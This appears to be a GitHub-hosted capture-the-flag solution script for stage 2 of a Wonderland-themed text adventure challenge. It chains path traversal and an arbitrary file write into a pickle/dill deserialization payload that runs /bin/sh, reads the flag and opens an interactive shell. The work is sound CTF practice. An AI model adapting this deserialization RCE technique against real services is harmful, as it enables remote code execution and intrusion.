Repository navigation
Expand file tree
/
Copy path2_insecure_dill_loads.py
More file actions
executable file
·147 lines (115 loc) · 5.07 KB
/
Copy path2_insecure_dill_loads.py
File metadata and controls
executable file
·147 lines (115 loc) · 5.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python
'''
1865 Text Adventure
Solution for Stage 2
The exploit hinges on the BlowSmokeCommand obtained when the golden-hookah has been retrieved.
class BlowSmokeCommand(Command):
...
def __init__(self, game):
super().__init__(game)
def run(self, args):
if len(args) < 3:
# Print location.
letterwise_print("What do you wish to say?")
return
letterwise_print('Smoke bellows from the lips of {} to form the words, "{}."'.format(
args[1], ' '.join(args[2:])))
letterwise_print('Curling and curling...')
uniqid = "{}-{}".format(self.game.location.name, clean_identifiers(args[1]))
content = ' '.join(args[2:]).replace(' ', '%20').replace('&','')
url = "{}?cargs[]=wb&uniqid={}&content={}".format(POOL_OF_TEARS, uniqid, content)
response = urlopen(url)
response_contents = response.read()
if response_contents == b'OK':
letterwise_print('The words float up high into the air and eventually disappate.')
else:
letterwise_print('The words harden into pasty rocks and drop to the ground.')
letterwise_print('They spell:')
letterwise_print(response_contents)
...
The command constructs requests of the form:
http://localhost:4000/api/v1/smoke?cargs[]=wb&uniqid=XXXX-YYYY&content=ZZZZ
Where:
XXXX - The location name
YYYY - The user specified name
ZZZZ - The user specified message
This request creates a file at /opt/wonderland/logs named XXXX-YYYY with the contents of ZZZZ.
Since this is a Rails service, URL encoded values can be passed.
Using this mechanic, we can write a serialized Item with the suffix of '.item' to the directory and
get it to trigger the deserialization payload.
'''
from pwn import *
from common import Common
from urllib.request import quote
import pickle
import os
import uuid
class Exploit:
'''Spawns a /bin/bash shell when deserialized.
Includes some required strings that are checked server-side to determine 'dill-ness'.
'''
def __reduce__(self):
cmd = ('/bin/sh')
return os.system, (cmd,), {'a': 'dill._dill', 'b': 'rabbithole', 'c': 'on_get'}
def main():
# Get the connection.
c = Common.get_connection()
c.init_connection()
# Move to the a-shallow-deadend to get the pocket-watch.
# This pocket-watch allows us to turn off text scrolling.
log.info('Moving to the a-shallow-deadend to get the pocket-watch...')
c.move(b'a-shallow-deadend')
c.get(b'pocket-watch')
log.info('Disabling text scroll.')
c.sendline(b'options text_scroll f')
c.back()
# Move to the a-curious-hall and drink the pink-bottle.
log.info('Moving to a-curious-hall to drink the pink-bottle...')
next_path = [b'deeper-into-the-burrow', b'a-curious-hall', b'a-curious-hall']
c.multimove(next_path)
c.get(b'pink-bottle')
# Move to the a-fancy-pavillion and eat the fluffy-cake.
log.info('Moving to a-fancy-pavillion to eat the fluffy-cake...')
next_path = [b'a-pink-door', b'maze-entrance', b'knotted-boughs', b'dazzling-pines',
b'a-pause-in-the-trees', b'confusing-knot', b'green-clearing',
b'a-fancy-pavillion']
c.multimove(next_path)
c.get(b'fluffy-cake')
# Move to a-mystical-cove to get the looking-glass.
log.info('Moving to a-mystical-cove to get the looking-glass...')
next_path = [b'along-the-rolling-waves', b'a-sandy-shore', b'a-mystical-cove']
c.multimove(next_path)
c.get(b'looking-glass')
# Teleport to the location of the golden-hookah.
log.info('Teleporting to under-a-giant-mushroom to get the golden-hookah...')
mushroom = ('sea-of-tears/along-the-rolling-waves/a-sandy-shore/into-the-woods/further-into-'
'the-woods/nearing-a-clearing/clearing-of-flowers/under-a-giant-mushroom')
c.sendline('teleport ' + mushroom)
c.get(b'golden-hookah')
# Teleport to /opt/wonderland/logs/
log.info('Teleporting to /opt/wonderland/logs')
c.sendline(b'teleport ../../../../../../opt/wonderland/logs')
c.get_until_prompt()
# Generate the payload and write an item to the logs directory.
log.info('Generating pickle RCE payload...')
payload = quote(pickle.dumps(Exploit()), safe='').encode('ascii')
random_filename = str(uuid.uuid4()).encode('ascii')
log.info('Writing payload to {}.item'.format(random_filename.decode('ascii')))
c.sendline(b'blowsmoke ' + random_filename + b'.item ' + payload)
c.get_until_prompt()
# Trigger the RCE.
log.info('Triggering RCE...')
c.sendline(b'get logs-' + random_filename)
c.get_until_prompt()
c.get_until_prompt()
# Get the flag.
log.info('Getting the flag by executing /home/rabbit/flag2.bin')
log.success('Flag 2:')
c.sendline('/home/rabbit/flag2.bin\n\n')
c.sendline('echo END_OF_FLAG\n\n')
log.success(c.recvuntil(b'END_OF_FLAG').replace(b'END_OF_FLAG', b'').strip())
# Drop into an interactive shell.
log.success('Enjoy your shell!')
c.interactive()
if __name__ == '__main__':
main()